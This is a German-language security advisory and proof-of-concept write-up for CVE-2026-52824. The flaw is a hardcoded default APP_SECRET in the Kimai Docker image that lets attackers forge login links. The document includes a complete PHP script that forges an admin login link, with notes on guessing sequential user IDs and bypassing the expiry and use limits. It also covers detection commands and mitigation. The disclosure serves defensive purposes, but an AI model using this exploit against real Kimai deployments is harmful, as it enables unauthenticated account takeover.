
Technische Analyse und PoC von CVE-2026-52824: Standard-APP_SECRET im Kimai-Docker-Image, das die Fälschung von Anmeldelinks ohne Authentifizierung ermöglicht. Betrifft <= 2.57.0, behoben in 2.58.0.
| Feld | Wert |
|---|
| CVE | CVE-2026-52824 |
| Sicherheitshinweis | GHSA-jr9p-4h4j-6c58 |
| Schweregrad | Kritisch |
| CWE | CWE-1188, Initialisierung einer Ressource mit einem unsicheren Standardwert |
| Betroffen | kimai/kimai <= 2.57.0 |
| Behoben | 2.58.0 |
| Sicherheitshinweis veröffentlicht | 2026-06-11 |
| Zur GitHub Advisory Database hinzugefügt | 2026-07-14 |
| Melder | AzureADTrent |
Das offizielle Kimai-Docker-Image wurde mit einem hartkodierten APP_SECRET ausgeliefert. Dieser Wert wird zu Symfonys kernel.secret, das Login-Links, Remember-Me-Cookies, Passwort-Reset-URLs und CSRF-Tokens signiert. Da die Login-Link-Signatur von Kimai nur die Benutzer-id abdeckte, konnte ein nicht authentifizierter Angreifer mit dem bekannten Secret offline einen gültigen Login-Link berechnen und sich als beliebiger Benutzer authentifizieren.
Dockerfile:263 setzte:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 verwendet dies als kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh führte keine Prüfung auf den Sentinel-Wert durch, und .env.dist:38 lieferte dieselbe Standardeinstellung für Bare-Metal-Installationen. Kein Startschutz verweigerte das Booten mit der Standardeinstellung.
Jede Docker-Bereitstellung, die APP_SECRET nicht explizit überschrieb, lief daher mit einem öffentlich bekannten Signaturschlüssel.
Kimai verarbeitet den Login-Link unter /en/auth/link/check mit den Parametern user, expires und hash. Der hash ist der 44 Zeichen lange HMAC, der direkt mit dem 44 Zeichen langen Felder-Hash verkettet wird, was acceptSignatureHash() entspricht, das bei Offset 44 aufteilt.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
Eine erfolgreiche Anfrage gibt einen 302 zurück und setzt einen KIMAI_REMEMBER-Cookie für das Zielkonto.
expires befindet sich im HMAC und wird vom Angreifer kontrolliert, und die Validierung lehnt nur Zeitstempel ab, die bereits in der Vergangenheit liegen — verifySignatureHash() prüft $expires < time() und sonst nichts. Die konfigurierte lifetime: 900 steuert nur die Erzeugung des Links und wird bei der Validierung nie herangezogen, sodass ein gefälschter Link ein beliebig weit entferntes Ablaufdatum tragen kann.
max_uses: 3 ist ebenso irrelevant. Es begrenzt die Wiederverwendung eines einzelnen ausgestellten Links; ein Angreifer erstellt pro Versuch einen neuen.
Der Sicherheitshinweis listet drei Voraussetzungen auf: Der Benutzername ist bekannt, die korrekte Konten-ID wird erraten, und das Konto hat kein aktives 2FA.
In der Praxis sind diese schwach. Benutzer-IDs sind fortlaufend ab 1, der erste super_admin ist normalerweise die ID 1, und jeder Versuch ist ein einzelner nicht authentifizierter GET. Der Benutzername- und ID-Raum kann breit abgesucht werden. Zwei-Faktor-Authentifizierung ist die einzige Voraussetzung, die den Angriff wirksam blockiert.
Lokale Prüfungen:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
Ein Sentinel-APP_SECRET ohne vorhandene .appsecret-Datei weist auf eine verwundbare Bereitstellung hin.
Aktualisieren Sie auf 2.58.0 oder höher. Die Behebung:
APP_SECRET aus dem Dockerfilebin2hex(random_bytes(32)) ein Secret erzeugt, es unter /opt/kimai/var/data/.appsecret speichert und nach /opt/kimai/.env.local schreibtWenn Sie nicht sofort aktualisieren können, setzen Sie explizit ein eindeutiges Secret mit hoher Entropie:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
Das Rotieren von APP_SECRET macht vorhandene Remember-Me-Cookies, ausstehende Passwort-Reset-Links und laufende CSRF-Tokens ungültig; Benutzer müssen sich erneut anmelden. Die Rotation und die Ungültigmachung von Sitzungen können bedenkenlos durchgeführt werden, unabhängig davon, ob eine Offenlegung bestätigt werden kann. Betreiber, die ihren Status nicht ermitteln können, sollten rotieren, anstatt Annahmen zu treffen.
projectdiscovery/nuclei-templates veröffentlichtDieser Bericht wurde zurückgehalten, bis der Mechanismus unabhängig öffentlich wurde.